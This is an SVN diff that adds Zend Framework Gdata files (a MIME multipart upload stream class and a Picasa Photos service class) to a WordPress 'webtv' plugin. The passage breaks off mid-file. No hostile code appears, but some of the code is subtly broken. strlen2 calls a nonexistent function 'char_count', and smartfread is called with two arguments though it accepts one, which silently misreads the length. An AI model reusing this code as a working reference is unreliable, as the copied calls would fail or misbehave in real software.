+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/MediaMimeStream.php	(revision 44)
@@ -0,0 +1,513 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * A streaming Media MIME class that allows for buffered read operations.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_MediaMimeStream
+{
+
+    /**
+     * The Content-Type section that precedes the XML data in the message.
+     *
+     * @var string
+     */
+    // TODO (jhartmann) Add support for charset [ZF-5768]
+    const XML_HEADER = "Content-Type: application/atom+xml\r\n\r\n";
+
+    /**
+     * A constant indicating the xml string part of the message
+     *
+     * @var integer
+     */
+    const PART_XML_STRING = 0;
+
+    /**
+     * A constant indicating the file binary part of the message
+     *
+     * @var integer
+     */
+    const PART_FILE_BINARY = 1;
+
+    /**
+     * A constant indicating the closing boundary string of the message
+     *
+     * @var integer
+     */
+    const PART_CLOSING_XML_STRING = 2;
+
+    /**
+     * The maximum buffer size that can be used.
+     *
+     * @var integer
+     */
+    const MAX_BUFFER_SIZE = 8192;
+
+    /**
+     * A valid MIME boundary including a linefeed.
+     *
+     * @var string
+     */
+    protected $_boundaryLine = null;
+
+    /**
+     * A valid MIME boundary without a linefeed for use in the header.
+     *
+     * @var string
+     */
+    protected $_boundaryString = null;
+
+    /**
+     * A valid MIME closing boundary including a linefeed.
+     *
+     * @var string
+     */
+    protected $_closingBoundaryLine = null;
+
+    /**
+     * A handle to the file that is part of the message.
+     *
+     * @var resource
+     */
+    protected $_fileHandle = null;
+
+    /**
+     * The headers that preceed the file binary including linefeeds.
+     *
+     * @var string
+     */
+    protected $_fileHeaders = null;
+
+    /**
+     * The internet media type of the enclosed file.
+     *
+     * @var string
+     */
+    protected $_fileContentType = null;
+
+    /**
+     * The file size.
+     *
+     * @var integer
+     */
+    protected $_fileSize = null;
+
+    /**
+     * The total size of the message.
+     *
+     * @var integer
+     */
+    protected $_totalSize = null;
+
+    /**
+     * The XML string that typically represents the entry to be sent.
+     *
+     * @var string
+     */
+    protected $_xmlString = null;
+
+    /**
+     * The number of bytes that have been read so far.
+     *
+     * @var integer
+     */
+    protected $_bytesRead = 0;
+
+    /**
+     * Enumeration indicating the part of the message that is currently being
+     * read. Allowed values are: 0, 1 and 2, corresponding to the constants:
+     * PART_XML_STRING, PART_FILE_BINARY, PART_CLOSING_XML_STRING
+     *
+     * @var integer
+     */
+    protected $_currentPart = 0;
+
+    /**
+     * A nested array containing the message to be sent. Each element contains
+     * an array in the format:
+     *
+     * [integer (size of message)][string (message)]
+     *
+     * Note that the part corresponding to the file only contains a size.
+     *
+     * @var array
+     */
+    protected $_parts = null;
+
+    /**
+     * A boolean to be set immediately once we have finished reading.
+     *
+     * @var boolean
+     */
+    protected $_doneReading = false;
+
+    /**
+     * Create a new MimeMediaStream object.
+     *
+     * @param string $xmlString The string corresponding to the XML section
+     *               of the message, typically an atom entry or feed.
+     * @param string $filePath The path to the file that constitutes the binary
+     *               part of the message.
+     * @param string $fileContentType The valid internet media type of the file.
+     * @throws Zend_Gdata_App_IOException If the file cannot be read or does
+     *         not exist. Also if mbstring.func_overload has been set > 1.
+     */
+    public function __construct($xmlString = null, $filePath = null,
+        $fileContentType = null)
+    {
+        $this->_xmlString = $xmlString;
+        $this->_filePath = $filePath;
+        $this->_fileContentType = $fileContentType;
+
+        if (!file_exists($filePath) || !is_readable($filePath)) {
+            require_once 'Zend/Gdata/App/IOException.php';
+            throw new Zend_Gdata_App_IOException('File to be uploaded at ' .
+                $filePath . ' does not exist or is not readable.');
+        }
+
+        $this->_fileHandle = fopen($filePath, 'rb', true);
+        $this->generateBoundaries();
+        $this->calculatePartSizes();
+    }
+
+    /**
+     * Generate the MIME message boundary strings.
+     *
+     * @return void
+     */
+    private function generateBoundaries()
+    {
+        $this->_boundaryString = '=_' . md5(microtime(1) . rand(1,20));
+        $this->_boundaryLine = "\r\n" . '--' . $this->_boundaryString . "\r\n";
+        $this->_closingBoundaryLine = "\r\n" . '--' . $this->_boundaryString .
+            '--';
+    }
+
+    /**
+     * Calculate the sizes of the MIME message sections.
+     *
+     * @return void
+     */
+    private function calculatePartSizes()
+    {
+        $this->_fileHeaders = 'Content-Type: ' . $this->_fileContentType .
+            "\r\n" . 'Content-Transfer-Encoding: binary' . "\r\n\r\n";
+        $this->_fileSize = filesize($this->_filePath);
+
+        $stringSection = $this->_boundaryLine . self::XML_HEADER .
+            $this->_xmlString . "\r\n" . $this->_boundaryLine .
+            $this->_fileHeaders;
+        $stringLen = strlen($stringSection);
+        $closingBoundaryLen = strlen($this->_closingBoundaryLine);
+
+        $this->_parts = array();
+        $this->_parts[] = array($stringLen, $stringSection);
+        $this->_parts[] = array($this->_fileSize);
+        $this->_parts[] = array($closingBoundaryLen,
+            $this->_closingBoundaryLine);
+
+        $this->_totalSize = $stringLen + $this->_fileSize + $closingBoundaryLen;
+    }
+
+    /**
+     * A wrapper around fread() that doesn't error when $length is 0.
+     *
+     * @param integer $length Number of bytes to read.
+     * @return string Results of byte operation.
+     */
+    private function smartfread($length)
+    {
+        if ($length < 1) {
+            return '';
+        } else {
+            return fread($this->_fileHandle, $length);
+        }
+    }
+
+    /**
+     * A non mbstring overloadable strlen-like function.
+     *
+     * @param string $string The string whose length we want to get.
+     * @return integer The length of the string.
+     */
+    private function strlen2($string)
+    {
+        return array_sum(char_count($string));
+    }
+
+    /**
+     * Read a specific chunk of the the MIME multipart message.
+     *
+     * This function works by examining the internal 'parts' array. It
+     * expects that array to consist of basically a string, a file handle
+     * and a closing string.
+     *
+     * An abbreviated version of what this function does is as follows:
+     *
+     * - throw exception if trying to read bigger than the allocated max buffer
+     * - If bufferSize bigger than the entire message: return it and exit.
+     *
+     * - Check how far to read by looking at how much has been read.
+     * - Figure out whether we are crossing sections in this read:
+     *   i.e. -> reading past the xml_string and into the file ?
+     *   - Determine whether we are crossing two sections in this read:
+     *     i.e. xml_string, file and half of the closing string or
+     *     possibly file, closing string and next (non-existant) section
+     *     and handle each case.
+     *   - If we are NOT crossing any sections: read either string and
+     *     increment counter, or read file (no counter needed since fread()
+     *     stores it's own counter.
+     *   - If we are crossing 1 section, figure out how much remains in that
+     *     section that we are currently reading and how far to read into
+     *     the next section. If the section just read is xml_string, then
+     *     immediately unset it from our 'parts' array. If it is the file,
+     *     then close the handle.
+     *
+     * @param integer $bufferSize The size of the chunk that is to be read,
+     *                            must be lower than MAX_BUFFER_SIZE.
+     * @throws Zend_Gdata_App_InvalidArgumentException if buffer size too big.
+     * @return string A corresponding piece of the message. This could be
+     *                binary or regular text.
+     */
+    public function read($bufferSize)
+    {
+        if ($bufferSize > self::MAX_BUFFER_SIZE) {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException('Buffer size ' .
+                'is larger than the supported max of ' . self::MAX_BUFFER_SIZE);
+        }
+
+        // handle edge cases where bytesRead is negative
+        if ($this->_bytesRead < 0) {
+            $this->_bytesRead = 0;
+        }
+
+        $returnString = null;
+        // If entire message is smaller than the buffer, just return everything
+        if ($bufferSize > $this->_totalSize) {
+            $returnString = $this->_parts[self::PART_XML_STRING][1];
+            $returnString .= fread($this->_fileHandle, $bufferSize);
+            $returnString .= $this->_closingBoundaryLine;
+            $this->closeFileHandle();
+            $this->_doneReading = true;
+            return $returnString;
+        }
+
+        // increment internal counters
+        $readTo = $this->_bytesRead + $bufferSize;
+        $sizeOfCurrentPart = $this->_parts[$this->_currentPart][0];
+        $sizeOfNextPart = 0;
+
+        // if we are in a part past the current part, exit
+        if ($this->_currentPart > self::PART_CLOSING_XML_STRING) {
+            $this->_doneReading = true;
+            return;
+        }
+
+        // if bytes read is bigger than the current part and we are
+        // at the end, return
+        if (($this->_bytesRead > $sizeOfCurrentPart) &&
+            ($this->_currentPart == self::PART_CLOSING_XML_STRING)) {
+                $this->_doneReading = true;
+                return;
+        }
+
+        // check if we have a next part
+        if ($this->_currentPart != self::PART_CLOSING_XML_STRING) {
+            $nextPart = $this->_currentPart + 1;
+            $sizeOfNextPart = $this->_parts[$nextPart][0];
+        }
+
+        $readIntoNextPart = false;
+        $readFromRemainingPart = null;
+        $readFromNextPart = null;
+
+        // are we crossing into multiple sections of the message in
+        // this read?
+        if ($readTo > ($sizeOfCurrentPart + $sizeOfNextPart)) {
+            if ($this->_currentPart == self::PART_XML_STRING) {
+                // If we are in XML string and have crossed over the file
+                // return that and whatever we can from the closing boundary
+                // string.
+                $returnString = $this->_parts[self::PART_XML_STRING][1];
+                unset($this->_parts[self::PART_XML_STRING]);
+                $returnString .= fread($this->_fileHandle,
+                    self::MAX_BUFFER_SIZE);
+                $this->closeFileHandle();
+
+                $readFromClosingString = $readTo -
+                    ($sizeOfCurrentPart + $sizeOfNextPart);
+                $returnString .= substr(
+                    $this->_parts[self::PART_CLOSING_XML_STRING][1], 0,
+                    $readFromClosingString);
+                $this->_bytesRead = $readFromClosingString;
+                $this->_currentPart = self::PART_CLOSING_XML_STRING;
+                return $returnString;
+
+            } elseif ($this->_currentPart == self::PART_FILE_BINARY) {
+                // We have read past the entire message, so return it.
+                $returnString .= fread($this->_fileHandle,
+                    self::MAX_BUFFER_SIZE);
+                $returnString .= $this->_closingBoundaryLine;
+                $this->closeFileHandle();
+                $this->_doneReading = true;
+                return $returnString;
+            }
+        // are we just crossing from one section into another?
+        } elseif ($readTo >= $sizeOfCurrentPart) {
+            $readIntoNextPart = true;
+            $readFromRemainingPart = $sizeOfCurrentPart - $this->_bytesRead;
+            $readFromNextPart = $readTo - $sizeOfCurrentPart;
+        }
+
+        if (!$readIntoNextPart) {
+            // we are not crossing any section so just return something
+            // from the current part
+            switch ($this->_currentPart) {
+                case self::PART_XML_STRING:
+                    $returnString = $this->readFromStringPart(
+                        $this->_currentPart, $this->_bytesRead, $bufferSize);
+                    break;
+                case self::PART_FILE_BINARY:
+                    $returnString = fread($this->_fileHandle, $bufferSize);
+                    break;
+                case self::PART_CLOSING_XML_STRING:
+                    $returnString = $this->readFromStringPart(
+                        $this->_currentPart, $this->_bytesRead, $bufferSize);
+                    break;
+            }
+        } else {
+            // we are crossing from one section to another, so figure out
+            // where we are coming from and going to
+            switch ($this->_currentPart) {
+                case self::PART_XML_STRING:
+                    // crossing from string to file
+                    $returnString = $this->readFromStringPart(
+                        $this->_currentPart, $this->_bytesRead,
+                        $readFromRemainingPart);
+                    // free up string
+                    unset($this->_parts[self::PART_XML_STRING]);
+                    $returnString .= $this->smartfread($this->_fileHandle,
+                            $readFromNextPart);
+                    $this->_bytesRead = $readFromNextPart - 1;
+                    break;
+                case self::PART_FILE_BINARY:
+                    // skipping past file section
+                    $returnString = $this->smartfread($this->_fileHandle,
+                            $readFromRemainingPart);
+                    $this->closeFileHandle();
+                    // read closing boundary string
+                    $returnString = $this->readFromStringPart(
+                        self::PART_CLOSING_XML_STRING, 0, $readFromNextPart);
+                    // have we read past the entire closing boundary string?
+                    if ($readFromNextPart >=
+                        $this->_parts[self::PART_CLOSING_XML_STRING][0]) {
+                        $this->_doneReading = true;
+                        return $returnString;
+                    }
+
+                    // Reset counter appropriately since we are now just
+                    // counting how much of the final string is being read.
+                    $this->_bytesRead = $readFromNextPart - 1;
+                    break;
+                case self::PART_CLOSING_XML_STRING:
+                    // reading past the end of the closing boundary
+                    if ($readFromRemainingPart > 0) {
+                        $returnString = $this->readFromStringPart(
+                            $this->_currentPart, $this->_bytesRead,
+                            $readFromRemainingPart);
+                        $this->_doneReading = true;
+                    }
+                    return $returnString;
+            }
+            $this->_currentPart++;
+        }
+        $this->_bytesRead += $bufferSize;
+        return $returnString;
+    }
+
+    /**
+     * Convenience method to shorthand the reading of non-file parts of the
+     * message.
+     *
+     * @param integer $part The part from which to read (supports only 0 or 2).
+     * @param integer $start The point at which to read from.
+     * @param integer $length How many characters to read.
+     * @return string A string of characters corresponding to the requested
+     *                section.
+     */
+    private function readFromStringPart($part, $start, $length)
+    {
+        return substr($this->_parts[$part][1], $start, $length);
+    }
+
+    /**
+     * Return the total size of the mime message.
+     *
+     * @return integer Total size of the message to be sent.
+     */
+    public function getTotalSize()
+    {
+        return $this->_totalSize;
+    }
+
+    /**
+     * Check whether we have data left to read.
+     *
+     * @return boolean True if there is data remaining in the mime message,
+     *                 false, otherwise.
+     */
+    public function hasData()
+    {
+        return !($this->_doneReading);
+    }
+
+    /**
+     * Close the internal file that we are streaming to the socket.
+     *
+     * @return void
+     */
+    protected function closeFileHandle()
+    {
+        if ($this->_fileHandle !== null) {
+            fclose($this->_fileHandle);
+        }
+    }
+
+    /**
+     * Return a Content-type header that includes the current boundary string.
+     *
+     * @return string A valid HTTP Content-Type header.
+     */
+    public function getContentType()
+    {
+        return 'multipart/related; boundary="' .
+            $this->_boundaryString . '"' . "\r\n";
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos.php	(revision 44)
@@ -0,0 +1,575 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata
+ */
+require_once 'Zend/Gdata.php';
+
+/**
+ * @see Zend_Gdata_Photos_UserFeed
+ */
+require_once 'Zend/Gdata/Photos/UserFeed.php';
+
+/**
+ * @see Zend_Gdata_Photos_AlbumFeed
+ */
+require_once 'Zend/Gdata/Photos/AlbumFeed.php';
+
+/**
+ * @see Zend_Gdata_Photos_PhotoFeed
+ */
+require_once 'Zend/Gdata/Photos/PhotoFeed.php';
+
+/**
+ * Service class for interacting with the Google Photos Data API.
+ *
+ * Like other service classes in this module, this class provides access via
+ * an HTTP client to Google servers for working with entries and feeds.
+ *
+ * @link http://code.google.com/apis/picasaweb/gdata.html
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos extends Zend_Gdata
+{
+
+    const PICASA_BASE_URI = 'http://picasaweb.google.com/data';
+    const PICASA_BASE_FEED_URI = 'http://picasaweb.google.com/data/feed';
+    const AUTH_SERVICE_NAME = 'lh2';
+
+    /**
+     * Default projection when interacting with the Picasa server.
+     */
+    const DEFAULT_PROJECTION = 'api';
+
+    /**
+     * The default visibility to filter events by.
+     */
+    const DEFAULT_VISIBILITY = 'all';
+
+    /**
+     * The default user to retrieve feeds for.
+     */
+    const DEFAULT_USER = 'default';
+
+    /**
+     * Path to the user feed on the Picasa server.
+     */
+    const USER_PATH = 'user';
+
+    /**
+     * Path to album feeds on the Picasa server.
+     */
+    const ALBUM_PATH = 'albumid';
+
+    /**
+     * Path to photo feeds on the Picasa server.
+     */
+    const PHOTO_PATH = 'photoid';
+
+    /**
+     * The path to the community search feed on the Picasa server.
+     */
+    const COMMUNITY_SEARCH_PATH = 'all';
+
+    /**
+     * The path to use for finding links to feeds within entries
+     */
+    const FEED_LINK_PATH = 'http://schemas.google.com/g/2005#feed';
+
+    /**
+     * The path to use for the determining type of an entry
+     */
+    const KIND_PATH = 'http://schemas.google.com/g/2005#kind';
+
+    /**
+     * Namespaces used for Zend_Gdata_Photos
+     *
+     * @var array
+     */
+    public static $namespaces = array(
+        array('gphoto', 'http://schemas.google.com/photos/2007', 1, 0),
+        array('photo', 'http://www.pheed.com/pheed/', 1, 0),
+        array('exif', 'http://schemas.google.com/photos/exif/2007', 1, 0),
+        array('georss', 'http://www.georss.org/georss', 1, 0),
+        array('gml', 'http://www.opengis.net/gml', 1, 0),
+        array('media', 'http://search.yahoo.com/mrss/', 1, 0)
+    );
+
+    /**
+     * Create Zend_Gdata_Photos object
+     *
+     * @param Zend_Http_Client $client (optional) The HTTP client to use when
+     *          when communicating with the servers.
+     * @param string $applicationId The identity of the app in the form of Company-AppName-Version
+     */
+    public function __construct($client = null, $applicationId = 'MyCompany-MyApp-1.0')
+    {
+        $this->registerPackage('Zend_Gdata_Photos');
+        $this->registerPackage('Zend_Gdata_Photos_Extension');
+        parent::__construct($client, $applicationId);
+        $this->_httpClient->setParameterPost('service', self::AUTH_SERVICE_NAME);
+    }
+
+    /**
+     * Retrieve a UserFeed containing AlbumEntries, PhotoEntries and
+     * TagEntries associated with a given user.
+     *
+     * @param string $userName The userName of interest
+     * @param mixed $location (optional) The location for the feed, as a URL
+     *          or Query. If not provided, a default URL will be used instead.
+     * @return Zend_Gdata_Photos_UserFeed
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     */
+    public function getUserFeed($userName = null, $location = null)
+    {
+        if ($location instanceof Zend_Gdata_Photos_UserQuery) {
+            $location->setType('feed');
+            if ($userName !== null) {
+                $location->setUser($userName);
+            }
+            $uri = $location->getQueryUrl();
+        } else if ($location instanceof Zend_Gdata_Query) {
+            if ($userName !== null) {
+                $location->setUser($userName);
+            }
+            $uri = $location->getQueryUrl();
+        } else if ($location !== null) {
+            $uri = $location;
+        } else if ($userName !== null) {
+            $uri = self::PICASA_BASE_FEED_URI . '/' .
+                self::DEFAULT_PROJECTION . '/' . self::USER_PATH . '/' .
+                $userName;
+        } else {
+            $uri = self::PICASA_BASE_FEED_URI . '/' .
+                self::DEFAULT_PROJECTION . '/' . self::USER_PATH . '/' .
+                self::DEFAULT_USER;
+        }
+
+        return parent::getFeed($uri, 'Zend_Gdata_Photos_UserFeed');
+    }
+
+    /**
+     * Retreive AlbumFeed object containing multiple PhotoEntry or TagEntry
+     * objects.
+     *
+     * @param mixed $location (optional) The location for the feed, as a URL or Query.
+     * @return Zend_Gdata_Photos_AlbumFeed
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     */
+    public function getAlbumFeed($location = null)
+    {
+        if ($location === null) {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'Location must not be null');
+        } else if ($location instanceof Zend_Gdata_Photos_UserQuery) {
+            $location->setType('feed');
+            $uri = $location->getQueryUrl();
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getFeed($uri, 'Zend_Gdata_Photos_AlbumFeed');
+    }
+
+    /**
+     * Retreive PhotoFeed object containing comments and tags associated
+     * with a given photo.
+     *
+     * @param mixed $location (optional) The location for the feed, as a URL
+     *          or Query. If not specified, the community search feed will
+     *          be returned instead.
+     * @return Zend_Gdata_Photos_PhotoFeed
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     */
+    public function getPhotoFeed($location = null)
+    {
+        if ($location === null) {
+            $uri = self::PICASA_BASE_FEED_URI . '/' .
+                self::DEFAULT_PROJECTION . '/' .
+                self::COMMUNITY_SEARCH_PATH;
+        } else if ($location instanceof Zend_Gdata_Photos_UserQuery) {
+            $location->setType('feed');
+            $uri = $location->getQueryUrl();
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getFeed($uri, 'Zend_Gdata_Photos_PhotoFeed');
+    }
+
+    /**
+     * Retreive a single UserEntry object.
+     *
+     * @param mixed $location The location for the feed, as a URL or Query.
+     * @return Zend_Gdata_Photos_UserEntry
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     */
+    public function getUserEntry($location)
+    {
+        if ($location === null) {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'Location must not be null');
+        } else if ($location instanceof Zend_Gdata_Photos_UserQuery) {
+            $location->setType('entry');
+            $uri = $location->getQueryUrl();
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getEntry($uri, 'Zend_Gdata_Photos_UserEntry');
+    }
+
+    /**
+     * Retreive a single AlbumEntry object.
+     *
+     * @param mixed $location The location for the feed, as a URL or Query.
+     * @return Zend_Gdata_Photos_AlbumEntry
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     */
+    public function getAlbumEntry($location)
+    {
+        if ($location === null) {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'Location must not be null');
+        } else if ($location instanceof Zend_Gdata_Photos_UserQuery) {
+            $location->setType('entry');
+            $uri = $location->getQueryUrl();
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getEntry($uri, 'Zend_Gdata_Photos_AlbumEntry');
+    }
+
+    /**
+     * Retreive a single PhotoEntry object.
+     *
+     * @param mixed $location The location for the feed, as a URL or Query.
+     * @return Zend_Gdata_Photos_PhotoEntry
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     */
+    public function getPhotoEntry($location)
+    {
+        if ($location === null) {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'Location must not be null');
+        } else if ($location instanceof Zend_Gdata_Photos_UserQuery) {
+            $location->setType('entry');
+            $uri = $location->getQueryUrl();
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getEntry($uri, 'Zend_Gdata_Photos_PhotoEntry');
+    }
+
+    /**
+     * Retreive a single TagEntry object.
+     *
+     * @param mixed $location The location for the feed, as a URL or Query.
+     * @return Zend_Gdata_Photos_TagEntry
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     */
+    public function getTagEntry($location)
+    {
+        if ($location === null) {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'Location must not be null');
+        } else if ($location instanceof Zend_Gdata_Photos_UserQuery) {
+            $location->setType('entry');
+            $uri = $location->getQueryUrl();
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getEntry($uri, 'Zend_Gdata_Photos_TagEntry');
+    }
+
+    /**
+     * Retreive a single CommentEntry object.
+     *
+     * @param mixed $location The location for the feed, as a URL or Query.
+     * @return Zend_Gdata_Photos_CommentEntry
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     */
+    public function getCommentEntry($location)
+    {
+        if ($location === null) {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'Location must not be null');
+        } else if ($location instanceof Zend_Gdata_Photos_UserQuery) {
+            $location->setType('entry');
+            $uri = $location->getQueryUrl();
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getEntry($uri, 'Zend_Gdata_Photos_CommentEntry');
+    }
+
+    /**
+     * Create a new album from a AlbumEntry.
+     *
+     * @param Zend_Gdata_Photos_AlbumEntry $album The album entry to
+     *          insert.
+     * @param string $url (optional) The URI that the album should be
+     *          uploaded to. If null, the default album creation URI for
+     *          this domain will be used.
+     * @return Zend_Gdata_Photos_AlbumEntry The inserted album entry as
+     *          returned by the server.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     */
+    public function insertAlbumEntry($album, $uri = null)
+    {
+        if ($uri === null) {
+            $uri = self::PICASA_BASE_FEED_URI . '/' .
+                self::DEFAULT_PROJECTION . '/' . self::USER_PATH . '/' .
+                self::DEFAULT_USER;
+        }
+        $newEntry = $this->insertEntry($album, $uri, 'Zend_Gdata_Photos_AlbumEntry');
+        return $newEntry;
+    }
+
+    /**
+     * Create a new photo from a PhotoEntry.
+     *
+     * @param Zend_Gdata_Photos_PhotoEntry $photo The photo to insert.
+     * @param string $url The URI that the photo should be uploaded
+     *          to. Alternatively, an AlbumEntry can be provided and the
+     *          photo will be added to that album.
+     * @return Zend_Gdata_Photos_PhotoEntry The inserted photo entry
+     *          as returned by the server.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     */
+    public function insertPhotoEntry($photo, $uri = null)
+    {
+        if ($uri instanceof Zend_Gdata_Photos_AlbumEntry) {
+            $uri = $uri->getLink(self::FEED_LINK_PATH)->href;
+        }
+        if ($uri === null) {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'URI must not be null');
+        }
+        $newEntry = $this->insertEntry($photo, $uri, 'Zend_Gdata_Photos_PhotoEntry');
+        return $newEntry;
+    }
+
+    /**
+     * Create a new tag from a TagEntry.
+     *
+     * @param Zend_Gdata_Photos_TagEntry $tag The tag entry to insert.
+     * @param string $url The URI where the tag should be
+     *          uploaded to. Alternatively, a PhotoEntry can be provided and
+     *          the tag will be added to that photo.
+     * @return Zend_Gdata_Photos_TagEntry The inserted tag entry as returned
+     *          by the server.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     */
+    public function insertTagEntry($tag, $uri = null)
+    {
+        if ($uri instanceof Zend_Gdata_Photos_PhotoEntry) {
+            $uri = $uri->getLink(self::FEED_LINK_PATH)->href;
+        }
+        if ($uri === null) {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'URI must not be null');
+        }
+        $newEntry = $this->insertEntry($tag, $uri, 'Zend_Gdata_Photos_TagEntry');
+        return $newEntry;
+    }
+
+    /**
+     * Create a new comment from a CommentEntry.
+     *
+     * @param Zend_Gdata_Photos_CommentEntry $comment The comment entry to
+     *          insert.
+     * @param string $url The URI where the comment should be uploaded to.
+     *          Alternatively, a PhotoEntry can be provided and
+     *          the comment will be added to that photo.
+     * @return Zend_Gdata_Photos_CommentEntry The inserted comment entry
+     *          as returned by the server.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     */
+    public function insertCommentEntry($comment, $uri = null)
+    {
+        if ($uri instanceof Zend_Gdata_Photos_PhotoEntry) {
+            $uri = $uri->getLink(self::FEED_LINK_PATH)->href;
+        }
+        if ($uri === null) {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'URI must not be null');
+        }
+        $newEntry = $this->insertEntry($comment, $uri, 'Zend_Gdata_Photos_CommentEntry');
+        return $newEntry;
+    }
+
+    /**
+     * Delete an AlbumEntry.
+     *
+     * @param Zend_Gdata_Photos_AlbumEntry $album The album entry to
+     *          delete.
+     * @param boolean $catch Whether to catch an exception when
+     *            modified and re-delete or throw
+     * @return void.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     */
+    public function deleteAlbumEntry($album, $catch)
+    {
+        if ($catch) {
+            try {
+                $this->delete($album);
+            } catch (Zend_Gdata_App_HttpException $e) {
+                if ($e->getResponse()->getStatus() === 409) {
+                    $entry = new Zend_Gdata_Photos_AlbumEntry($e->getResponse()->getBody());
+                    $this->delete($entry->getLink('edit')->href);
+                } else {
+                    throw $e;
+                }
+            }
+        } else {
+            $this->delete($album);
+        }
+    }
+
+    /**
+     * Delete a PhotoEntry.
+     *
+     * @param Zend_Gdata_Photos_PhotoEntry $photo The photo entry to
+     *          delete.
+     * @param boolean $catch Whether to catch an exception when
+     *            modified and re-delete or throw
+     * @return void.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     */
+    public function deletePhotoEntry($photo, $catch)
+    {
+        if ($catch) {
+            try {
+                $this->delete($photo);
+            } catch (Zend_Gdata_App_HttpException $e) {
+                if ($e->getResponse()->getStatus() === 409) {
+                    $entry = new Zend_Gdata_Photos_PhotoEntry($e->getResponse()->getBody());
+                    $this->delete($entry->getLink('edit')->href);
+                } else {
+                    throw $e;
+                }
+            }
+        } else {
+            $this->delete($photo);
+        }
+    }
+
+    /**
